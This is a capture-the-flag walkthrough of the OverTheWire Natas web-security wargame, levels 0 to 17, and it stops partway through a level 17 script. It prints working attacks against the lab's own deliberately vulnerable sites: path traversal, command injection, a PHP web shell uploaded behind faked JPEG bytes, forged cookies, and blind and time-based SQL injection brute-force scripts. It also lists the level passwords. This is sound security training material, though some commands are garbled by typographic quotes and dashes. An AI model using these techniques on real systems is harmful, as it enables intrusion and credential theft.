Natas teaches the basics of serverside web-security.
Each level of natas consists of its own website located at http://natasX.natas.labs.overthewire.org, where X is the level number. There is no SSH login. To access a level, enter the username for that level (e.g. natas0 for level 0) and its password.
Each level has access to the password of the next level. Your job is to somehow obtain that next password and level up. All passwords are also stored in /etc/natas_webpass/. E.g. the password for natas5 is stored in the file /etc/natas_webpass/natas5 and only readable by natas4 and natas5.
Level 0 – source code
Username: natas0
Password: natas0
URL: http://natas0.natas.labs.overthewire.org
Solution
Password is in source code
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
Curl
curl --user natas0:natas0 http://natas0.natas.labs.overthewire.org
Level 1 – blocked rightclick
Username: natas1
Password: gtVrDuiDfck831PqWsLEZy5gyDz1clto
URL: http://natas1.natas.labs.overthewire.org
Solution
As the page has disabled right click, open the Source Code via Developers tools or Ctrl + U.
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
Curl
curl –user natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto http://natas1.natas.labs.overthewire.org
Level 2 – unprotected directories
Username: natas2
Password: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi
URL: http://natas2.natas.labs.overthewire.org
Solution
When we open the source code there is only one new image <img src="files/pixel.png">
. So let’s explore if there is anything interesting in the files folder http://natas2.natas.labs.overthewire.org/files/.
Next to pixel.png is also users.txt file. When we open it a password for the next level shows up .
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
eve:zo4mJWyNj2
mallory:9urtcpzBmH
curl
curl --user natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org
curl --user natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org/files/
curl --user natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org/files/users.txt
Level 3 – robots.txt
Username: natas3
Password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
URL: http://natas3.natas.labs.overthewire.org
Solution
We get a tip in source code
<!-- No more information leaks!! Not even Google will find it this time... -->
We can block google by adding a robots.tx file to the web page. Let’s check if the file is there.
http://natas3.natas.labs.overthewire.org/robots.txt
User-agent: *
Disallow: /s3cr3t/
We can see there is a s3cr3t directory on the page and indeed in the folder there is a file users.txt that holds a password.
natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
curl
curl --user natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/robots.txt
curl --user natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/
curl --user natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
Level 4 – Headers
Username: natas4
Password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
URL: http://natas4.natas.labs.overthewire.org
Solution
When we come to the page we get greeted with a messsage:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
The message tells us that the Referer header is empty whie it should be set to http://natas5.natas.labs.overthewire.org/.
Open up the Web Developers Tools / Network / index.php and add a Refrrer to the Request Headers.
Headers can be also changed via plugins or curl.
Referer: http://natas5.natas.labs.overthewire.org/
Save and Resend. Then Click on Refresh page button.
Curl
curl -u natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ --header "Referer: http://natas5.natas.labs.overthewire.org/" http://natas4.natas.labs.overthewire.org
Page displays:
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
Level 5 – cookies
Username: natas5
Password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
URL: http://natas5.natas.labs.overthewire.org
Solution
When we get to the page we are greted with:
Access disallowed. You are not logged in
OK, so there must be a way for us to login. Let’s look at the cookies.
loggedin: "0"
Let’s change the value of the cookie to 1. You can do it in Firebug or curl (look below).
And sure enough, now the password is displayed on the page.
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
Curl
curl -u natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq --cookie "loggedin=1" http://natas5.natas.labs.overthewire.org
Level 6 – php includes
Username: natas6
Password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1
URL: http://natas6.natas.labs.overthewire.org
When we get on the page we are presented with input field where we can submit a secret code to get the password.
We also have the source code with php code available:
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
It reveals there is a file secret.inc at http://natas6.natas.labs.overthewire.org/includes/secret.inc. Source code reveals the secret key.
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
When we sumbit it with the form, the password is displayed.
Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
Curl
curl -u natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 --data "secret=FOEIUWGHFEEUHOFUOIU&submit=submit" http://natas6.natas.labs.overthewire.org/index.php
## Level 7 – get to server file via URL
Username: natas7
Password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
URL: http://natas7.natas.labs.overthewire.org
When we open the page there are just two links. Source code gives us a hint
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
If we click on the links, nothing special happens, but if we change the URL to some non-existant page e.g. http://natas7.natas.labs.overthewire.org/index.php?page=ho we get another hint in the error message.
Warning: include(ho): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21
Warning: include(): Failed opening 'ho' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
So we have the location of the file that is displayed in the browser and we got the location of the file with password.
Let’s build a link!
http://natas7.natas.labs.overthewire.org/index.php?page=/../../../../etc/natas_webpass/natas8
Visiting the page we get the contents of the file – the password.
DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
Curl
curl -u natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 http://natas7.natas.labs.overthewire.org/index.php?page=/../../../../etc/natas_webpass/natas8
Level 8 – encoding/decoding php/CLI
Username: natas8
Password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
URL: http://natas8.natas.labs.overthewire.org
Solution
Again we can see the input field for secret key and sourcecode.
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
?>
Sourcecode gives us a secret key and all steps needed to decode it.
# ORIGINAL php :
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
# SOLUTION php:
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function decodeSecret($secret) {
return(base64_decode(strrev(hex2bin($secret))));
}
print(decodeSecret($encodedSecret));
CLI
Get source code of the page:
$ curl -u natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe http://natas8.natas.labs.overthewire.org/index.php
We could can get the secret key with CLI:
$ echo '3d3d516343746d4d6d6c315669563362' | xxd -p -r | rev | base64 -d
oubWYf2kBq
When we enter the code into the form we get the password:
$ curl -u natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe --data "secret=oubWYf2kBq&submit=submit" http://natas8.natas.labs.overthewire.org/index.php
Same as if we type it in the form and submit it.
Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
Level 9 – inject command via form and passthru
Username: natas9
Password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
URL: http://natas9.natas.labs.overthewire.org
Solution
Again we have a form and Search button. Output is also displayed.
Let’s first look at php in the sourcecode:
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
The most important line is passthru("grep -i $key dictionary.txt");
Now we know we can inject a command and get the contents of /etc/natas_webpass/natas10
. /etc/natas_webpass/natas10;
Password is displayed. We could ommit ;, but then the whole dictionary would also be displayed.
nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
curl
Source code:
$ curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl http://natas9.natas.labs.overthewire.org/index.php
Password
$ curl -u natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl --data "needle=. /etc/natas_webpass/natas10;&submit=submit" http://natas9.natas.labs.overthewire.org/index.php
Level 10 – # in CLI – avoiding ;
Username: natas10
Password: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
URL: http://natas10.natas.labs.overthewire.org
Solution
Again we have a form – like in previous task( but now some characters are filtered).
Let’s review the sourcecode
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
So we cannot use ; or &. No problem, we could just ommit ; at the end of command.
$ . /etc/natas_webpass/natas11
/etc/natas_webpass/natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
...
Or more elegantly, add # to have a cleaner output.
$ . /etc/natas_webpass/natas11 #
U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
curl
Source code:
$ curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu http://natas10.natas.labs.overthewire.org/index.php
Password
# display first 25 lines of the document
$ curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu -# --data "needle=. /etc/natas_webpass/natas11&submit=submit" http://natas10.natas.labs.overthewire.org/index.php | head -n 25
# display only the line with the password
$ curl -u natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu -# --data "needle=. /etc/natas_webpass/natas11&submit=submit" http://natas10.natas.labs.overthewire.org/index.php | grep /etc/natas_webpass/natas11
Level 11 – XOR encryption, interactive php, curl headers
Username: natas11
Password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
URL: http://natas11.natas.labs.overthewire.org
Solution
Let’s first look into the php sourcecode
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
The code first checks if data cookie exists. If it doesn’t it will load the default array (array( “showpassword”=>”no”, “bgcolor”=>”#ffffff”)), but if the cookie exists it will change the background color in the array and save it with saveData() function.
Let’s examine what does the saveData() fucntion:
– json_encode the array
– xor_encrypt the json data
– base64_encode the xor
– sets the data cookie with the encoded value
JSON of the default array
# First start php in interactive mode
php -a
# OR
php --interactive
# json encode the default array
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
echo json_encode($defaultdata);
{"showpassword":"no","bgcolor":"#ffffff"}
# OR
echo json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
{"showpassword":"no","bgcolor":"#ffffff"}
data from the cookie
Get the header & the cookie within:
curl -u natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK -I http://natas11.natas.labs.overthewire.org
# or
curl -u natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK --head http://natas11.natas.labs.overthewire.org
data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D
XOR Encoding
This is true for XOR encoding:
Data ⊕ key = Encoded data
Encoded data ⊕ key = Data
Data ⊕ Encoded data = key
We already have Data (default json) and Encoded data (value of cookie named data).
data = {“showpassword”:”no”,”bgcolor”:”#ffffff”}
encoded = base64_decode(ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=)
Note: Data in the cookie must first be URL decoded (%3D is =)
To get the key we need to XOR Data and Encoded. Let’s use modified php function:
function xor_encrypt($text, $key) {
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$text = '{"showpassword":"no","bgcolor":"#ffffff"}';
$key = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");
echo xor_encrypt($text, $key);
We get the output:
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqphp
As the letters qw8J are repeated we know this is the key.
Now that we have the key we can XOR and encode the json data with showpassword set to yes.
$text = '{"showpassword":"yes","bgcolor":"#ffffff"}';
$key = "qw8J";
echo base64_encode(xor_encrypt($text, $key));
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
Now set the new value of the data cookie.
curl -u natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK" http://natas11.natas.labs.overthewire.org
And the password will be displayed:
The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
You can also change cookie value in the Console or with Firebug:
document.cookie"data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"
Level 12 – Inject php file from image upload
Username: natas12
Password: EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
URL: http://natas12.natas.labs.overthewire.org
Solution
On the page is a form where we can upload a file. The instruction says we can upload a jpg – max size 1KB. And if the image is upoaded we get info about it’s location.
The file upload/ixrzu0g70c.jpg has been uploaded
We can also see the source code:
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
So a random string of 10 characters is generated every time we refresh the page. For example:
<input type="hidden" name="filename" value="4spze20iju.jpg" />
<input type="hidden" name="filename" value="cnc8qihrza.jpg" />
Php code tells us that this hidden field is used to parse the name of the file and the extension. So let’s try to upload a php file and change it’s name in the hidden field.
The file upload/lxzzbapq44.php has been uploaded
Perfect! php file was uploaded. Now we only need the code that will display the password.
<?php
passthru("cat /etc/natas_webpass/natas13");
?>
Page presents us with a link to php and by clicking on it the password is displayed.
jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
## Level 13 – Inject php file from image upload – magic headers
Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL: http://natas13.natas.labs.overthewire.org
Again we have a form to upload an image, but now the instruction says “For security reasons, we now only accept image files!”
Solution
Let’s first look into source code to find out how it determines that the file is indeed an image.
if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
}
php’s exif_imagetype() function determines the type of an image by reading first bytes (named magic numbers) of an image. The function then returns an int. Example:
$ php -a
$ echo exif_imagetype('pix.jpg');
2
For jpg the magic numbers (they are always in hex format) are:
FF D8 FF E0
Examine them with xxd:
$ xxd pix.jpg
0000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001 ......JFIF......
# or
$ xxd -p 'pix.jpg'
ffd8ffe000104a46494600010100000100010000ffdb0043000806060706
..
We get the same if we open the file in text editor
\FF\D8\FF\E0\00JFIF
For comparrison, with hexdump:
hexdump -ve '1/1 "%.2x"' pix.jpg
ffd8ffe000104a46494600010100000100010000ffdb004300080606070
And od:
$ od -t x1 -An pix.jpg
ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01
So let’s make a php file that will pass as a jpg and will have the code we want to execute on the server.
# Create a fakejpg.php file and add a jpg header
$ echo -n -e \\xff\\xd8\\xff\\xe0 > fakejpg.php
# Append a php script
$ echo "<?php passthru("cat /etc/natas_webpass/natas14"); ?>" >> fakejpg.php
# Check the hexdump of the file
$ hexdump -C fakejpg.php
00000000 ff d8 ff e0 3c 3f 70 68 70 20 70 61 73 73 74 68 |....<?php passth|
# Let's also check if php will recognize as an image
php -a
echo exif_imagetype('/home/maja/Desktop/onGIT/overthewire.org/natas/fake.jpg');
2
# All good :)
If you open the file in text editor, you will see four characters before the php code:
ÿØÿà<?php passthru("cat /etc/natas_webpass/natas14"); ?>
Next we can upload the file.
First add the php file, then change the hidden field to fakejpg.php and Upload the file. Now there is no error message!
The file upload/0pt4i8xuqz.php has been uploaded
After we click on the link the jpg’s encoded magic numbers and password will be displayed.
ÿØÿàLg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Password is:
Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
Notes
Alternative way to create a fake image in python is
fh = open('fakejpg.php','w')
fh.write('\x47\x49\x46\x38' + '<?php passthru($_GET["cmd"]); ?>')
fh.close()
Then you can query the server by appending the commands to the URL e.g.
http://natas13.natas.labs.overthewire.org/upload/x5dx35zi11.php?cmd=cat%20/etc/natas_webpass/natas13
## Level 14 – simple SQL Injection
Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL: http://natas14.natas.labs.overthewire.org
Solution
When we come to the page we are presented with a typical login form. Let’s examine the source code:
<?
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '<censored>');
mysql_select_db('natas14', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
The first hint is the available debug
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
So let’s append the debug to the URL
http://natas14.natas.labs.overthewire.org/index.php?username=one&password=one&debug
We get the following message:
Executing query: SELECT * from users where username="one" and password="one"
Access denied!
Great! We can now see the exact query that searches the database.
Let’s add an SQL injection to alter the query and make both username and password True. Effectively having SELECT * FROM USERS.
http://natas14.natas.labs.overthewire.org/index.php?username=" OR "1&password=" OR "1&debug=True
````
We get back:
Executing query: SELECT * from users where username=”” OR “1” and password=”” OR “1”
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
The password is:
AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
## Level 15
Username: natas15
Password: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL: [http://natas15.natas.labs.overthewire.org](http://natas15.natas.labs.overthewire.org)
### Solution
Page offers one input field to check existance of the username. It gets us feedback wether the username exists or not. natas16 is an existing username.
Here is the source code:
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas14', '
mysql_select_db(‘natas14’, $link);
$query = “SELECT * from users where username=\””.$_REQUEST[“username”].”\” and password=\””.$_REQUEST[“password”].”\””;
if(array_key_exists(“debug”, $_GET)) {
echo “Executing query: $query
“;
}
if(mysql_num_rows(mysql_query($query, $link)) > 0) {
echo “Successful login! The password for natas15 is
“;
} else {
echo “Access denied!
“;
}
mysql_close($link);
} else {
?>
} ?>
As debug is again available we can check the query:
http://natas15.natas.labs.overthewire.org/index.php?username=natas16&debug
Let's have a closer look at the code for SQL query
$query = “SELECT * from users where username=\””.$_REQUEST[“username”].”\””;
We can therefore use expanded query that will enable us to check each character in the password.
SELECT * from users where username=”natas16″ AND password LIKE BINARY “a%”
or
SELECT * from users where username=”natas16″ AND LEFT(password,1) = “a”
Let's code the bash script for both versions:
#!/bin/bash
This script was made for http://overthewire.org/ Wargames Natas Level15-Level16.
It uses brute force to guess the password via SQL Injection vulnerability.
Password is written in the terminal after the script completes.
password=””
Set password length – defaults to 32 characters
for n in {0..31}
do
# Underscores for the SQL Query Version 1
underscore=$(perl -E “print ‘_’ x $n”)
for i in {a..z} {A..Z} {0..9}
do
# Added BINARY in SQL Query to make sure the query is case sensitive
# Could also use COLLATE latin1_general_cs
# Version 1
# SELECT * from users where username="natas16" AND password LIKE BINARY "__d%"
address='http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20password%20LIKE%20BINARY%20%22'"$underscore""${i}""%"'&debug'
# Version 2
# SELECT * from users where username="natas16" AND LEFT(password,1) = "a"
# SELECT * from users where username="natas16" AND LEFT(password,1) = "Wa"
position=$((10#$n + 1))
# address='http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20LEFT(password%2C'"${position}"')%20COLLATE%20latin1_general_cs%20=%20%22'"${password}${i}"'&debug'
content=$(curl --user natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J "${address}")
correct=$(echo "$content" | grep "This user exists")
## If the character is found add it to the password string
## and break out of the for loop
if [[ $correct == Executing* ]]
then
password+="$i"
break
fi
done
echo “$password”
done
After we run the script the password is displayed.
Password is
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
### curl example
curl –user natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J “http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20password%20LIKE%20%22[a-z]%&debug” | grep “This user exists”
### Notes
Python solution by [Zelic](https://dejandayoff.com/natas-level15---level16/)
import urllib
import urllib2
cookie=’__cfduid=d6d468235c70649795d3603f9283975561442874989; __utma=176859643.1107484385.1442874995.1443039560.1443041564.3; __utmz=176859643.1442874995.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=176859643′
url = ‘http://natas15.natas.labs.overthewire.org/index.php’
referrer = ‘natas15.natas.labs.overthewire.org’
authorization = ‘Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==’
Chars = [‘a’,’b’,’c’,’d’,’e’,’f’,’g’,’h’,’i’,’j’,’k’,’l’,’m’,’n’,’o’,’p’,’q’,’r’,
‘s’,’t’,’u’,’v’,’w’,’x’,’y’,’z’,’A’,’B’,’C’,’D’,’E’,’F’,’G’,’H’,’I’,’J’,’K’,’L’,
‘M’,’N’,’O’,’P’,’Q’,’R’,’S’,’T’,’U’,’V’,’W’,’X’,’Y’,’Z’,’0′,’1′,’2′,’3′,’4′,’5′,
‘6’,’7′,’8′,’9′]
password = “”
#loop through possible length of password
for i in range(1, 33):
print “%d out of 32″ % (i)
#loop through possible chars
for j in range(0,len(Chars)):
sqli = ‘natas16” AND LEFT(password, %d) COLLATE latin1_general_cs = “%s’ % (i,password + Chars[j])
values = {‘username’ : sqli}
data = urllib.urlencode(values)
req = urllib2.Request(url, data)
req.add_header(‘Cookie’, cookie)
req.add_header(‘Referrer’, referrer)
req.add_header(‘Authorization’, authorization)
try:
response = urllib2.urlopen(req)
the_page = response.read()
#print the_page
except HTTPError, e:
print e.reason
if “This user exists.” in the_page:
password+=Chars[j]
print password
break
## Level 16 - SQL Injection - char by char
Username: natas16
Password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL: [http://natas16.natas.labs.overthewire.org](http://natas16.natas.labs.overthewire.org)
### Solution
This level is similar to Level 9, but to make the task harder a couple of characters are not allowed.
Let's first look at the source code:
¸¸¸
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
¸¸¸
Disabled characters are `;|&`\'"` so we need to find a way to include our request without these chharacters in `grep -i \"$key\" dictionary.txt`.
We can execute a command inside a string by using `$(command)`, so let's use it in the script.
#!/bin/bash
address=’http://natas16.natas.labs.overthewire.org/’
authorization=”Authorization: Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==”
password=””
Password length defaults to 32 characters
for n in {1..32}
do
for i in {a..z} {A..Z} {0..9}
do
content=$(curl -s –user natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh -H “${authorization}” -d ‘needle=$(grep ^'”${password}${i}”‘ /etc/natas_webpass/natas17)July’ -d “submit=Search” “${address}”)
match=$(echo "$content" | tr '\n' ' ' | grep -v "<pre> July July's </pre>")
## If the character is found, add it to the password string
## and break out of the for loop
if [[ "$match" == *"<pre> </pre>"* ]]; then
echo "${n} out of 32"
password+="$i"
break
fi
done
echo “$password”
done
After we run it, the password is available:
1 out of 32
8
2 out of 32
8P
…
31 out of 32
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
32 out of 32
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
## Level 17 - Silent SQL injection (SLEEP())
Username: natas17
Password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
URL: [http://natas17.natas.labs.overthewire.org](http://natas17.natas.labs.overthewire.org)
The page is similar to the previous tasks where we checked the existance of the username, however this time there is no visible feedback on the page. Here is a part of php code:
if(array_key_exists(“username”, $_REQUEST)) {
$link = mysql_connect(‘localhost’, ‘natas17’, ‘
mysql_select_db(‘natas17’, $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
The exploit must be made with the silent SQL injection where we capture the correct character on time based response.
We can recreate the problem on localhost.
Create a batabase and a table named users and defined fields from the source code and add entry for one user.
mysql> CREATE TABLE users
(
username
varchar(64) DEFAULT NULL,
password
varchar(64) DEFAULT NULL
);
mysql> INSERT INTO users
VALUES (‘natas16’, ‘8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw’);
Now we can query the database:
mysql> Select * FROM users WHERE username = “natas16” AND LEFT(password, 1) = “8” AND (SELECT SLEEP(5)) AND “1”=”1″;
Empty set (5.00 sec)
mysql> Select * FROM users WHERE username = “natas16” AND LEFT(password, 2) = “8” AND (SELECT SLEEP(5)) AND “1”=”1″;
Empty set (0.00 sec)
When the character is correct the response takes 5 sec and when it is not, we get immediate feedback.
We can now create a Bash script.
#!/bin/bash
REFERENCE SQL username=natas18″ AND LEFT(password, 1) COLLATE latin1_general_cs = “” AND (SELECT SLEEP(10)) AND “1”=”1
address=’http://natas17.natas.labs.overthewire.org/index.php’
authorization=”Authorization: Basic bmF0YXMxNzo4UHMzSDBHV2JuNXJkOVM3R21BZGdRTmRraFBrcTljdw==”
password=””
Password length defaults to 32 characters
for n in {1..32}
do
for i in {a..z} {A..Z} {0..9}
do
start=$(date +%s)
content=$(curl –user natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw -H “${authorization}” -d ‘username=natas18%22%20AND%20LEFT(password,%20′”${n}”‘)%20COLLATE%20latin1_general_cs%20=%20%22′”${password}${i}”‘%22%20AND%20(SELECT%20SLEEP(10))%20AND%20%221%22=%221’ -d “submit=Check%20existence” “${address}”)
end=$(date +%s)
runtime=$((end-start))
DEBUGGING
request=’username=natas18%22%20AND%20LEFT(password,%20′”${n}”‘)%20COLLATE%20latin1_general_cs%20=%20%22′”${password}${i}”‘%22%20AND%20(SELECT%20SLEEP(10))%20AND%20%221%22=%221’
## If the character is found, add it to the password string
## and break out of the for loop
if [[ ${runtime} -gt “5” ]]; then
echo “${n} out of 32”
password+=”$i”
